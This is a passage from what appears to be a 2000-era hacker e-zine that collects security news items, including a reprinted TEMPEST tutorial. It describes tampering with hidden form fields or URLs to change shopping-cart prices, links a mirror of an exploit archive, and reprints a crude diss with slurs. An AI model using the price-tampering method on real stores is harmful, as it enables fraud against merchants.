information on 300,000 credit cards. Maxus began posting numbers online
after the company refused to pay him $100,000.
David Noack is an APBnews.com staff writer (david.noack@apbnews.com).
@HWA
94.0 HNN: Feb 3rd: IETF Says No To Inet Wiretaps
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
The Internet Engineering Task Force has issued a
resounding no to Internet wiretaps. They said that they
would not "consider requirements for wiretapping" in
protocols.
IETF Draft Proposal
http://www.ietf.org/internet-drafts/draft-ietf-iab-raven-00.txt
Wired
http://www.wired.com/news/politics/0,1283,34055,00.html
Thumbs Down on Net Wiretaps
by Declan McCullagh
3:00 a.m. 3.Feb.2000 PST WASHINGTON -- It took four months, a grim
debate, and thousands of mailing list messages, but the group that sets
Internet standards has decided not to support wiretapping.
The executive committees of the Internet Engineering Task Force dismissed
the idea with characteristic understatement, saying they would not
"consider requirements for wiretapping" in protocols.
The 15 KB draft document released this week caps an unusually public
debate inside IETF that was marked by an FBI call to permit wiretaps,
Congressional condemnation of the idea, and a flame-ridden mailing list
called "raven" that lived up to its homophonous name.
But in the end, most members of the loose-knit group that met here in
November opposed the idea, and the draft written by the Internet
Architecture Board and the Internet Engineering Steering Group is the
result.
There's some precedent for the IETF refusing to bow to direct or indirect
government pressure to build surveillance into the Internet. In a
now-famous draft called RFC 1984, the group denounced easily breakable
encryption and endorsed secure communications.
Under the organization's procedures, this week's draft statement is not
yet final and members can offer changes. But a member of the drafting
group said he anticipates no serious alterations.
"The only thing I expect is wording changes," says Jeff Schiller, an MIT
network manager and IESG member. "I think the community has pretty much
told us what they want to see here. I would not expect the community to do
a 180-degree about-face."
Yet even wording can be divisive. It didn't take long for raven list
members to complain that the IETF's definition of "wiretap" would allow
future protocols to support broad surveillance -- as long as the
interception wasn't targeted at specific people.
"This is outrageous," wrote Ed Stone. "A third party taps a communication
in secret, but the selection is NOT targeted to a SPECIFIC person, so it
is not 'wiretapping.' This is simply incredible!"
IETF chairman Fred Baker did his best to mollify the critics, and -- for
once -- there seemed to be only a few.
"Maybe you can offer some better text," Baker replied. "What we were
trying to say was that when one puts a sniffer on an Ethernet for network
management purposes for a purpose unrelated to capturing a user's content
[such as trying to collect usage statistics] this was not
wiretapping."
Administrators regularly monitor Internet traffic flow to determine things
like what percentage of traffic is devoted to the Web compared to email,
and tools like MCI's vBNS make it easy. (One 1998 paper calculated that
roughly 70 percent of traffic at one node was Web usage.)
If there's no serious opposition, the draft will become an Internet
standard.
@HWA
95.0 HNN: Feb 3rd: Medical Web Sites Leak Privacy Info
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Despite promises to the contrary Medical and Health
related web sites are giving out the personal information
of their visitors to marketers without notifying them,
sometimes in direct violation of their own privacy policy.
The privacy breaches were discovered after a survey of
21 of the web sites was conducted by the California
HealthCare Foundation.
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2431429,00.html?chkpt=zdnntop
NY Times
http://www.nytimes.com/library/tech/00/02/cyber/articles/02privacy.html
C|Net
http://news.cnet.com/news/0-1007-200-1539309.html?tag=st.ne.1002.bgif.1007-200-1539309
NYTimes;
February 2, 2000
Health Sites Violate Their Own Privacy
Standards, Study Finds
By JERI CLAUSING
ASHINGTON -- Internet health sites collect some of the most
personal information about their users, but few follow their own
declared policies about maintaining the privacy of that data, according to
a survey made public Tuesday.
The study, by the California HealthCare Foundation, found that 19 of the
top 21 health sites had privacy policies, but that most failed to follow
their stated practices. And none of the sites followed fair information
practices as defined by the Federal Trade Commission.
The survey comes as policy makers are more closely scrutinizing the
privacy practices of Web sites to determine whether new laws are
needed to regulate online marketers. Privacy advocates said the study
proved that the Internet industry has failed in its attempts to police itself in
the area of online privacy.
"This is about the 7,000th piece of conclusive
evidence that self-regulation is not working," said
Jason Catlett, founder of Junkbusters Corp., a
company that helps people and companies protect
their privacy online.
The study's author's, however, were less
judgmental, comparing the online health industry to
an awkward adolescent who has yet to understand
all the implications of his actions.
Richard M. Smith, an Internet security analyst, and
Janlori Goldman, director of the project, said
Internet health sites are well aware that consumers
expect the information they supply to be
confidential. They said they believe many of the sites are unaware that
third-party advertisers and service providers have access to the personal
information they are collecting.
The technological mechanisms behind the privacy violations, Smith said,
include the use of "cookies," which track Web surfers' movements online,
and banner ads, which in some cases can pick up the information entered
by visitors on the pages where they are displayed.
The combination can enable advertising companies like DoubleClick to
build detailed profiles of consumers and of the information they seek
online.
For example, Smith said, some companies that place banner ads would
be able to pick up an e-mail address entered by someone visiting a Web
page about AIDS, even if the visitor never clicked on that ad. The
address could then be matched with the Web "footprints" left on that
computer by implanted cookies.
Many consumers and even Web site operators are unaware that
advertisers have such technical capabilities, which allow them to build
huge databases of consumer behavior, Smith said.
"It's complicated," Smith said. Some of the privacy violations "are
accidental, and some are on purpose. Some (sites) really don't know that
DoubleClick is collecting addresses," he said.
Catlett, a technical expert who previously worked for the data mining
division of AT&T, said he thinks it is very plausible that many Web sites
are unknowingly violating their own privacy policies.
"A lot of these sites are being set up in great haste, and often without
sufficient knowledge or attention to the leakage that takes place with
online advertising," he said.
Still, Catlett said, "It's horrifying but not surprising that medical sites are
doing as poor a job on privacy as used car trading sites."
"I think probably medical sites are not doing any worse of a job on
privacy as other e-commerce sites, but the public's expectations and
need for privacy in a medical site is so much greater that the truly
horrendous prevailing levels of privacy on the Web are just ludicrous," he
said.
Although privacy advocates for years have been calling on Congress to
pass a law setting rules for Internet sites to follow when collecting
personal information, the Clinton administration and the Federal Trade
Commission have sided with the Internet industry, which says it needs a
chance to prove that marketers and online merchants can police
themselves.
FTC officials on Tuesday had no comment on the study. This spring the
commission is expected to issue its third annual report to Congress on the
state of online privacy and whether it thinks new laws are needed.
The study's authors declined to get into the political debate over whether
new laws are needed, saying they conducted the survey in hopes of
providing the industry with the information it needs to better meet
customers' online privacy expectations.
"The goal of the California HealthCare Foundation is to be a broker in
this rapidly changing arena," said Mark D. Smith, president of the group,
which presented its study during a summit on online health ethics.
@HWA
96.0 HNN: Feb 4th: 27 Months for Piracy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by mortel
A British citizen has been sentenced in U.S. District
Court in San Jose to 27 months in prison for selling
pirated copies of popular computer programs, such as
Microsoft Excel, Lotus 123 and Auto Desk AutoCAD. He
was originally indicted by a federal grand jury in April
1996. (It took almost four years to come to trail? No
wonder the guy pleaded guilty.)
Yahoo News
http://dailynews.yahoo.com/h/kpix/20000203/lo/20000203112.html
Thursday February 03 11:41 PM EST
San Jose Sentencing For Sale of Pirated Programs
A British citizen has been sentenced in U.S. District Court in San Jose to
27 months in prison for selling pirated copies of popular computer programs.
Lawrence Warmate, 40, was sentenced by Judge Ronald M. Whyte on Jan. 31.
Warmate pleaded guilty to reproducing and selling computer software such as
Microsoft Excel, Lotus 123 and Auto Desk AutoCAD. The pirated software was
valued at between $350,000 and $500,000 by the court.
Warmate was originally indicted by a federal grand jury in April 1996.
J.Bennert827p2/3/00
-=-
(...40 yrs old? don't assume that all 'warez kiddiez and 'script/packet
kiddiez' really are kids... this is an excellent case in point. You don't
really know who's out there, one major warez group has an average age of
34 in its members, one as young as 12 another as old as 50 ... - Ed )
@HWA
97.0 Have you been looking for www.hack.co.za?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By; Cruciphux
You can find it here, temporarily. Its posted all over the zine but just
so you all can find it, I stuck the info in its own section.
http://www.siliconinc.net/hack/index.html
It does NOT appear to be getting updated, and seems to be a portion of
the site only. Unknown if the '0-day' special private contributions
/ download section is active or not on this mirror.
I haven't been able to get in touch with gov-boi, I don't have his email
and i've been missing him on IRC, but when I get a hold of him i'll get
an update on the site, the investigation into the DoS attacks and forward
mail i've received for him.
Thanks to all for the support.
@HWA
98.0 HNN: Feb 4th; Security Holes Allow Prices to be Changed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by turtlex
Shopping cart software is vulnerable to users changing
the price of goods. By altering a page locally or
twiddling with a URL customers are sometimes able to
purchase goods online for whatever price the choose.
The UK Register
http://www.theregister.co.uk/000203-000006.html
Posted 03/02/2000 11:59am by John Lettice
Online store security holes let hackers buy at cut
price
A security hole in some web-based shopping cart systems allows shoppers to edit the
data and buy items at reduced prices, according to an ISS (Internet Security Systems)
X-Force security alert issued this week.
According to X-Force, 11 shopping cart applications used by e-commerce sites are
vulnerable to this kind of malicious tampering. Some shopping cart applications use
hidden fields in HTML forms to hold parameters for goods in an online store, and this
is one potential security hole. If the attacker changes the price in the form on a local
machine then loads the page into the browser, the item can be added to the cart at the
modified price.
If hidden discount fields are used it's also possible to modify these and get discounts
on items without modifying the price in the form. From the vendors point of view this
gets really nasty if credit card orders are processed in real time, and it's difficult to
verify that the correct price is being used before the credit card is charged.
X-Force also says that price changing is possible where an item's price is listed in a
URL. "When clicking a link, the CGI program will add the item to the shopping cart with
the price set in the URL. Simply changing the price in the URL will add the item to the
shopping cart at the modified price. Shopping cart software should not rely on the web
browser to set the price of an item."
Most of the sites affected have begun modifying their software to plug the holes, says
X-Force. ®
@HWA
99.0 ThE,h4x0r.Br0z toss us a dis
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This is kinda old and dated now, thing is see, I forgot about it, anyways
here's the infamous hax0r brothers with some shiznitz and dizzing on our
groove thang..taken from issue #11
http://the.wiretapped.net/security/textfiles/ThE.h4x0r.Br0z/haxo11.txt
<snip>
ÚÄÄÄÄÄÄÄÄÄÄÄÄ[ BiaTcH NeWz SiTeZ ShiZUm ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
ÀÄÄ> Hax0rWang
oK FuCkiN SHIT iTz AbouT tiME thAT I cOmE ouT anD spEAk ON THIZ!@#
TheRE aRE waY t0 mAnY fuCkIN NEws WeBSiteZ anD sHIzniTcH aND ZiNE
THiNGS baSeD oN HaCkuZ aND hAcKiNG thAT hAvEn'T doNE shiT aS fAr
aS RePorTiNG abOUT uS.. s0 iTz TiME we LaY thE sMACk d0wN!@#
FirST thiNGyZ FIrzsST.. HaCkeRneWS.Com... OkAy HeLLo? H0w CaN iT
bE haXOr nEWz iF iT doEsNT taLK abOUT uS j00 fuCkiN BITcHnuTz!@
AnD thAT GaY asS hWa.hAxoR.nEwZ... SurE tHAts RiGHt.. TypE j0r
FuCKinG NamE haxOR br0Z sTyLE anD donT giVe uS CreDit? JeW wILL
pAy U fuCKinG FuCKz!@#
ThiS iS thE haXoR br0thErZ CaLLinG aLL WaNNa BE HaXor bR0theRZ!#
If j00 HaxoR eiTHeR haCkeRnEwS.CoM oR welcome.to/HWA.hax0r.news
ThEN wE wILL GiVE j00 A fREe AuToGraPHeD pIcTurE oF uS.. wE oF
COurSe WouLD haXOr iT ouRsElVeZ buT wE aRE pRepaRiNG foR ouR
wOrlD TouR in 99!@#!@ hELL jEaH ouR moMZ aRe GOnNa LeT uS StaY
uP tiLL liKE 9 anD shiT FoR thiS TOuR!@#!@# FuXoRiNG a!@#
n0w iF j0r TeW LaYMEzoR tEw HaXOr TheIR PaGeZ THen j00 CaN do THiZ!
SenD thEM aN eMaIL TelLinG thEM hoW lAyME thEY aRe anD ThaT THeY
WilL alWaYz bE GaY bEcaUSe HAxor bROtheRZ owN thEM aND thEY Can'T
bE haXor SItEz WiTH ouT ouR seAL oF fuCKin AppRoVaL whICh THeY
deW nOT haVE!@# cC uZ a CopY iF j00 do THaT!@#
AnD oN a FinaL n0tE... DeEz niGgaZ THiNK TheY caN TrY t00 RiP
oUR LeeTneZZ.. ThEY EvEN CLaIM to BE thE lEEtESt.. s0 iF aNY
oF j00 WaNNa sEE whAT HaxOR br0Z WaNNaBEeZ LooK liKE thEN
CHeX0R ouT nEAtoELiTo.oRg.. BitChAz WaNNa bE fLY liKE uZ buT
wE aRE juST t00 sCHaWeET!@# YeaH theEY aREn'T a nEwZ sITe BuT
thEY sTiLL b0w t0 uZ anD TheY beTTa ReCoGNiZE!@#
<snip>
( We don't touch you coz we ph33r! - Ed )
@HWA
100.0 HNN: Feb 4th: Carders Congregate in IRC
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by sean
The illegal exchange of credit card numbers is big
business and it happens in IRC chat rooms, where law
enforcement seldom goes. The consumer is only limited
to a $50 liability and the huge CC company passes
fraudulent charges back to the small time vendors so
who has the motivation to stop it?
MSNBC
http://www.msnbc.com/news/365426.asp?cp1=1
101.0 HNN: Feb 4th; Tempest Tutorial and Bug Scanning 101
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by James
An excellent tutorial on the eavesdropping technology
known as tempest has been posted. It covers the history as
well as the theory behind this potentially frightening technology.
Tempest Tutorial
http://www.tscm.com/TSCM101tempest.html
On the Same Site we also found an excellent article covering
commonly used listening device frequencies. It covers everything
from 15.7kHz to the 2.4 GHz band. (Only for the truly paranoid.)
Bug Scanning 101
http://www.tscm.com/TSCM101bugfreq.html
(Mainly a freq list, no big whoop, go check it out if you're
interested, i've printed the Tempest article below - Ed)
(This site isn't new to me, there is a LOT of information on
intrusion countermeasures and bug detection on the net, tscm
provides some of the best. - Ed )
Tempest:
Introduction
When a new consumer electronic device such as a computer, DVD player,
blender, electric razor or other modern electronic marvel is offered for
sale to the public the manufacture has to gain a special certification or
authorization from the FCC. This process ensures that when the consumer
uses the device that they will not interfere with other sdevices in the
area. For example we don't want a DVD player or blender to accidentally
jam all the TV, and cellular telephones in a five-block area due to a
poor product design.
The FCC (Federal Communications Commission) and its foreign equivalent
has created a series of formal standards which new equipment is evaluated
against before it is offered to the public.
These new products are taken into a specialized laboratory, and an
engineer completes a complicated battery of tests. These test results are
then sent to the FCC who then approves or denies the
authorization.
When modern electrical devices operate they generate electromagnetic
fields. Digital computers, radio equipment, typewriters, and so on
generate massive amounts of electromagnetic signals
which if
properly intercepted and processed will allow certain amounts of
information to be reconstructed based on these "compromising emanations".
Basically anything with a microchip, diode, or transistor, gives off these
fields.
Compromising emanations are these unintentional intelligence-bearing
signals, which, if intercepted and analyzed, potentially disclose the
national security information, transmitted, received,
handled, or
otherwise processed by any information-processing equipment.
These compromising emanation signals can then escape out of a controlled
area by power line conduction, other fortuitous conduction paths such as
the air conditioning duct work, or by simply
radiating a signal into
the air (like a radio station).
An excellent example of these compromising emanations may be found in
modems and fax machines which utilize the Rockwell DataPump modem chip
sets and several modems made by U.S.
Robotics. When these modems
operate they generate a very strong electromagnetic field which may be
intercepted, demodulated, and monitored with most VHF radios. This is
also a very serious problem with many speaker phone systems used in
executive conference rooms.
This is also a very serious problem with many fax machines, computer
monitors, external disc drives, CD-R drives, scanners, printers, and
other high bandwidth or high speed peripherals.
If an eavesdropper is using high quality intercept equipment the signal
may be easily acquired several hundred feet or more away from the target.
In the consumer markets a slight amount of signal leakage really does not
present a problem, however; if a computer processing classified
information has a leak the results could be devastating.
To deal with this "signal leakage" issue the government developed a
series of standards which lay out how equipment should be designed to
avoid such leakage. The TEMPEST standard are really
nothing more
then several industry measurements standards which were adjusted by the
NSA (they gave it steroids).
Really the only difference between a TEMPEST approved computer, and a
consumer computer is that the NSA TEMPEST approved one will be in a
special heavy metal case, will have special
shielding, a modified
power supply and a few other modifications which increase the price by at
least 40 times.
About TEMPEST
TEMPEST is an official acronym for "Telecommunications Electronics
Material Protected From Emanating Spurious Transmissions" and includes
technical security countermeasures; standards, and
instrumentation,
which prevent (or minimize) the exploitation of security vulnerabilities
by technical means. TEMPEST is nothing more then a fancy name for
protecting against technical surveillance or eavesdropping of UNMODIFIED
equipment (the unmodified part is important).
Other popular, but unofficial names for TEMPEST are "Transient Emanations
Protected From Emanating Spurious Transmissions", "Transient
Electromagnetic Pulse Emanation Standard",
"Telecommunications
Emission Security Standards", and several similar variations (including:
"Tiny ElectroMagnetic Pests Emanating Secret Things").
TEMPEST was "invented" in 1918 when Herbert Yardley and his staff of the
Black Chamber were engaged by the U.S. Army to develop methods to detect,
intercept, and exploit covert radio
transmitters. The initial
research identified that "normal unmodified equipment" was allowing
classified information to be passed to the enemy through a variety of
technical weaknesses. A classified program was then created to develop
methods to suppress these "compromising emanations". However, the actual
acronym known as TEMPEST was only coined in the late 60's and early 70's
(and is now considered an obsolete term, which has since, been replaced
by the phrase "Emissions Security" or EMSEC).
TEMPEST products exist, however; they are highly restricted and
controlled SIGINT/COMINT (Signals or Communications Intelligence)
products and are CIA/NSA grade surveillance goodies. Such
products
are only available from a very small number of defense or intelligence
contractors, and only to those with really serious security clearances.
TEMPEST products are not sold at Radio Shack, by private investigators, at
spy shops in New York City, or by security "experts".
TEMPEST and it's associated disciplines involve designing circuits to
minimize the amount of "compromising emanations" and to apply appropriate
shielding, grounding, and bonding. These
disciplines also include
methods of radiation screening, alarms, isolation circuits/devices, and
similar areas of equipment engineering.
TEMPEST disciplines typically involve eliminating or reducing the
transients caused by a communication signal and the resulting harmonics.
These signals and their harmonics could allow the
original signal to
be reconstructed and analyzed.
TEMPEST Approved Devices
A TEMPEST approved device (see below) is one that meets stringent
technical requirements. The electromagnetic waves it emits have been
reduced through shielding or other techniques to a
point where it
would be extremely difficult for a hostile intelligence agent to gather
information from the electromagnetic waves and disclose the classified
information being transmitted.
TEMPEST Approval - Type 1: A classified or controlled cryptographic
equipment, assembly, component, or item endorsed by the National
Security Agency (NSA) for securing
telecommunications and
automated information systems for the protection of classified or
sensitive U.S. Government information exempted by the Warner
Amendment for use by the U.S. Government and its contractors, and
subject to restrictions in accordance with the International Traffic
in Arms Regulation.
TEMPEST Approval - Type 2: An unclassified cryptographic equipment,
assembly, component, or item endorsed by the National Security
Agency for use in telecommunications and
automated
information systems for the protection of unclassified but sensitive
information. Type 2 equipment is exempted by the Warner Amendment.
Type 2 is available to U.S. Government departments, agencies,
sponsored elements of state and local government, sponsored U.S.
Government contractors, and sponsored private sector entities. It is
subject to restrictions in accordance with the International Traffic
in Arms Regulation.
TEMPEST Approval - Type 3: An unclassified cryptographic equipment,
assembly, component, or item that implements an unclassified
algorithm registered with the National Institute of
Standards and Technology (NIST) as a FIPS for use in protecting
unclassified sensitive, or commercial, information. This definition
does not include Warner-Amendment-exempt equipment.
Test Equipment for a TEMPEST in a TEAPOT
While SIGINT deals with the interception and analysis of "compromising
emanations", TEMPEST is the protection of those "emanations". TEMPEST,
TEAPOT (as in "TEMPEST in a TEAPOT"),
NONSTOP, SKIPJACK, HIJACK, and
TSCM are all related standards and protocols which deal with containing
"compromising emanations". TEMPEST generally deals specifically with
shielding, bonding, and grounding (it is a counter-surveillance science,
and has nothing to do with actual surveillance or reading or
reconstructing these emanations).
TEAPOT refers to the investigation, study, and control of
intentional compromising emanations such as those hostilely induced
or provoked from telecommunications and computer equipment.
TSCM includes all countermeasures employed to prevent or detect the
interception of sensitive, classified, or private information. TSCM
is typically an inspection by a technician or engineer of
a physical item or place (briefcase, automobile, office, home, boat,
etc...). The purpose is to locate possible covert surveillance
devices (bugs), technical security weakness, and technical security
hazards.
TEMPEST test equipment is very expensive, and is very highly controlled
military products (usually classified). While a number of U.S. companies
offer such equipment they will only sell it to
government agencies.
Beware of anybody who tries to foist a security product onto you and
claims it involves TEMPEST technology.
Such equipment utilizes both extremely narrow bandwidths (often 100 Hz or
less), and very wide bandwidths (above 50 MHz). This kind of equipment
also must use super stable time bases, which
are very expensive.
Even the most basic models of this kind of equipment cost hundreds of
thousands of dollars. Of course such equipment is quite inappropriate for
eavesdropping (there is no such thing as a "TEMPEST Eavesdropping
System").
Van Ecking
In 1985 Wim van Eck (an engineer in the Netherlands) published a white
paper entitled "Electromagnetic Radiation from Video Display Units: An
Eavesdropping Risk?" which discussed potential
methods which could
be used for eavesdropping on video monitors.
The "van Eck receiver" was based on older video monitors which utilized a
composite video signal with little or no RF/EMI shielding. These video
signals were typical broadcast base-band video
signals, and the
monitors were generally un-shielded which radiated tremendous amounts of
RF energy. Very often when these types of monitors were placed near a
television set the video monitor would interfere with the television and
the "computer stuff" would appear and interfere with the Dallas and
Charlies Angels re-runs. Since these monitors utilized the same timing
signals and waveform parameters as commercial video signals the display of
the signals was very easy and required only a few dollars on components
to stabilize the signal.
RAID or Raster Analysis
Effectively what van Eck did was to point out a well-known hardware
security vulnerability that existed in composite computer monitors. His
paper covered methods that could be used to exploit this
vulnerability, and brought "emission analysis" to public attention when
it was published. Of course every "lid, kid, con-artist, crank, and
crackpot" came forward and anointed him or herself an expert on van Eck
and TEMPEST technology.
What Wim van Eck presented is actually called RAID or "Raster Analysis"
which is the reconstruction of high bandwidth composite signals which are
based on a repeating synchronization signal
(such as Radar, Video,
and so on). A brief tutorial on raster or video signal analysis may be
found at the following link http://www.tscm.com/TSCM101video3.html
Lids, Kids, Con-Artists, Cranks, and Crackpots
It should be mentioned that the only place in the United States that a
person can learn anything about TEMPEST is a special school taught and
sanctioned by the National Security Agency. Once a
technician or
engineer completes the appropriate training the NSA will actually certify
them as a "TEMPEST Technician" or "TEMPEST Engineer" and they will then
be authorized the work on or design TEMPEST approved equipment. The (very
expensive) courses are only offered to a limited number of people who
have a very high level of security clearance, and who will be working
with such equipment on a regular basis.
While van Eck's engineering and white paper was quite legitimate a number
of con-artists capitalized on the paper to sell special screening boxes,
"van Eck receivers", and special "Classified CIA
intercept systems".
These products are generally considered a rather old hoax, but the con
artists are still racking in hundreds of thousands of dollars selling
bogus toys. Such a system only requires about $15 to
construct a
special amplifier or timing circuit. The method is a "no-brainer" which
any college freshman could do
Intercepting a composite video signal from an older unshielded monitor is
actually quite simple, HOWEVER; the modern computer monitors sold today
rarely use a composite video signal. Also, due
to the serious
shielding and emission standards required by the FCC the presence or
interception of such signals is virtually nil (even at close distances).
Keep Your Wallet in Your Pocket
Many people, including the members of the media, have been swallowing
what is falsely claimed to be TEMPEST simply because they neither
understand the science nor will they do even simple
research or
inquiries on a vendor who claims to be a TEMPEST expert.
The majority of TEMPEST surveillance "demonstrations" are actually rigged
or grossly misrepresented (the spy might as well become a psychic and
start channeling Ramtha via his big toenail).
In the past few years there have been quite a few "TEMPEST experts" that
demonstrate what they claim will intercept "TEMPEST signals". Most of the
Tempest/Van Eck surveillance products out
there are nothing more
then a scam run by thieves, con men, scam artists, liars, thieves, snake
oil salesman, felons, and mental patients (no kidding).
Seriously, if such a person attempts to peddle would-be TEMPEST products
on you, ask about their current probation status, prior criminal
convictions, and ask about the last time they talked with a
psychiatrist or other mental health professional (and then watch them run
out the door).
Several firms have even gone so far as to pre-record the display of a
computer monitor (with a video camcorder no less) and then conceal a
playback VCR in a fancy looking demonstration box. The
victim pays
the "TEMPEST expert" $20,000 for an identical box and never sees there
money again, nor do they ever get a magical TEMPEST box. After several
months the victim tries to contact the con artist only to find the phone
number given goes to a beeper (the owner of which refuses to re-contact
the victim).
The Law
Keep in mind that if somebody offers you any type of van Eck "intercept"
or TEMPEST surveillance system that they are committing a serious federal
felony. In the event that you are gullible enough
to actually pay
the con artist then YOU have committed a serious federal felony. Also, if
you attempt in any way to obtain the equipment, or engage in any kind of
activity to help someone else obtain the equipment that is also illegal
(even if it's a hoax).
You will leave eavesdropping and interception equipment alone unless you
have a strong desire to have extended discussions with the nice agents
from the FBI. They would be quite happy to talk
to you regarding
your upcoming indictment and your "all expenses paid vacation at a
federally operated vacation resort".
Remember that ANY possession, attempted sale, attempted purchase, or
building of such a surveillance product or device is highly illegal
unless you are under a very specific government contract
(even if it
is a hoax).
The building, possession, sale, or advertising of any device designed or
developed to exploit signal leakage or compromising emanations is a very
serious criminal act in the United States unless
you are under a
very specific government contract (or are a police officer with a
legitimate court order).
Also, any device, or system which is primarily useful for the
interception of communications is also illegal, and the justice system
takes a very dim view of people who try to skirt the law by playing
cute word games.
References
Here are a few of the more common government specifications (out of about
400) concerning TEMPEST and it's associated disciplines:
(U) NSA-82-89, NACSIM 5000, TEMPEST Fundamentals, National Security
Agency, February 1, 1982 (C)
(U) NACSIM 5004, Tempest Countermeasures for Facilities Within the United
States, National COMSEC Instruction, January 1984 (S)
(U) NACSIM 5005, Tempest Countermeasures for Facilities Outside the
United States, National COMSEC Instruction, NACSIM 5005, January 1985 (S)
(U) NACSIM 5009, Technical Rational: Basis for Electromagnetic
Compromising Emanations Limits (C)
(U) NACSIM 5100A Compromising Emanations Laboratory Test Requirements,
Electromagnetics. National Security Telecommunications and Information
System Security (NSTISS)
(U) NACSIM 5108, Receiver and Amplifier Characteristics Measurement
Procedures (FOUO)
(U) NACSIM 5109, TEMPEST Testing Fundamentals, March 1973
(U) NACSIM 5112, NONSTOP Evaluation Techniques
(U) NACSIM 5201, TEMPEST Guidelines for Equipment System Design,
September 1978
(U) NSA 82-90, NACSIM 5203, Guidelines for Facility Design and RED/BLACK
Installation, National Security Agency, June 30, 1982 (C)
(U) NSA 65-5, NACSIM 5204, RF Shielded Acoustical Enclosures for
Communications Equipment: General Specification, National Security
Agency, October 30, 1964 and May 1978 (C)
(U) NSA 65-6, NACSIM 5204, R.F. Shielded Enclosures for Communications
Equipment: General Specification, National Security Agency, October 30,
1964
(U) NSA 73-2A, NACSIM 5204, National Security Agency Specification for
Foil RF Shielded Enclosure, National Security Agency
NSA 89-01 (Draft), NACSIM 5204, National Security Agency Specification
for a High Performance Shielded Enclosure, National Security Agency, May
31, 1989
(U) NCSC 3, TEMPEST Glossary (S)
(U) NTISSI 4002, Classification Guide for COMSEC Information (S)
NTISSI 7000, National Telecommunications and Information Systems Security
Instruction, TEMPEST Countermeasures for Facilities, October 7, 1988
NTISSP 300, National Telecommunications and Information Systems Security
Policy, National Policy on the Control of Compromising Emanations,
October 3, 1988
NSTISSAM TEMPEST 1-92, Compromising Emanations Laboratory Test
Requirements, Electromagnetics. National Security Telecommunications and
Information System Security (NSTISS),
December 15, 1992
NSTISSAM TEMPEST 1-93, Compromising Emanations Field Test Requirements
Electromagnetics, August 30, 1993 (U)
(U) NSTISSAM TEMPEST 2-91, Compromising Emanations Analysis Handbook,
National Security Telecommunications and Information Systems Security
Advisory Memorandum (C)
NSTISSAM TEMPEST 2-92, Procedures for TEMPEST Zoning, December 30, 1992
(U) NSTISSAM TEMPEST 2-95, RED/BLACK Installation Guidance, National
Security Telecommunications and Information Systems Security Advisory
Memorandum, December 12, 1995 (C)
NSTISSAM TEMPEST 3-91, Maintenance and Disposition of TEMPEST Equipment,
December 20, 1991
INFOSEC System Security Products & Services Catalog, October 1990,
National Security Agency
DOD Directive C-5000.19, Control of Compromising Emanations (U), February
23, 1990
MIL-STD-461E, Department of Defense Interface Standard, Requirements For
The Control of Electromagnetic Interference Characteristics of Subsystems
And Equipment (Replaces previous 461
and 462), 20 August 1999
MIL-STD-IB8-124B, Military Standard Grounding, Bonding and Shielding for
Common Long Haul/Tactical Communication Systems including Ground Based
Communications-Electronics Facilities
and Equipment, February 1,
1992
MIL-HDBK-232, Red/Black Engineering - Installation Guidelines
MIL-HDBK-411A, Long Haul Communications (DCS), Power and Environmental
Control for Physical Plant
MIL-HDBK-419, Grounding, Bonding, and Shielding for Electronic Equipment
and Facilities
MIL-HDBK-1195, Radio Frequency Shielded Enclosures, September 30, 1988
MIL-STD-188-124, Grounding, Bonding, and Shielding for Common Long Haul
and Tactical Communications Systems
MIL-STD-285, Method of Attenuation Measurement for Enclosures,
Electromagnetic Shielding for Electronic Test Purposes.
James M. Atkinson
Granite Island Group President and Sr. Engineer
http://www.tscm.com/ jmatk@tscm.com
About the Author
James M. Atkinson is one of a small number of people who have been
formally certified and trained by the NSA as a TEMPEST Engineer, and
Cryptographic Technician. He has extensive
experience with the
design and development of SIGINT systems to exploit and/or control
compromising emanations. Additionally, he has many hours of experience
working deep inside highly classified U.S. and NATO cryptographic,
communications, and computer systems.
"If it doesn't involve a torque wrench, then it's not TEMPEST..."
@HWA
102.0 HNN: Feb 7th; Mitnick to Give Live Interview
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Macki
Kevin Mitnick, recently released after five years of
imprisonment, will be the guest of this week's Off The
Hook, Tuesday night at 8 pm EST. This is Mitnick's first
live appearance since his release and the first time ever
he will speak without being edited.
(Note: These shows are archived for downloading .. - Ed)
Off the Hook
http://www.2600.com/offthehook
@HWA
103.0 HNN: Feb 7th; Anti MPAA Leafletting Campaign a Huge Success
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Placebo Effekt
Friday's worldwide leafletting campaign to protest
recent MPAA lawsuits against hundreds of web sites for
distributing the DeCSS software was an undisputed
success. People around the world passed out flyers to
help spread the word. In New York people handed out
out more than 3000 flyers and London participants
passed out flyers at such locations as the WB Movie
Complex, and taped one to the window of the Disney
Store and one to the window of the Warner Brothers
Store.
2600.com
http://www.2600.com/
@HWA
104.0 HNN:Feb 7th:Founding Member of PWA Busted
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(See also section 23.0 - Ed)
From HNN http://www.hackernews.com/
contributed by SmokEE
A founding member of Pirates With Attitudes, Robin
Rothberg, 32, of Chelmsford, MA was arrested by the
FBI last week. He has been charged with conspiracy in
U.S. District Court in Boston. According to an FBI
affidavit, the PWA is a highly structured organization
and the investigation is ongoing. One of the conditions
of his bail agreement is that Rothberg must let the FBI
spot check his e-mail.
Boston Herald
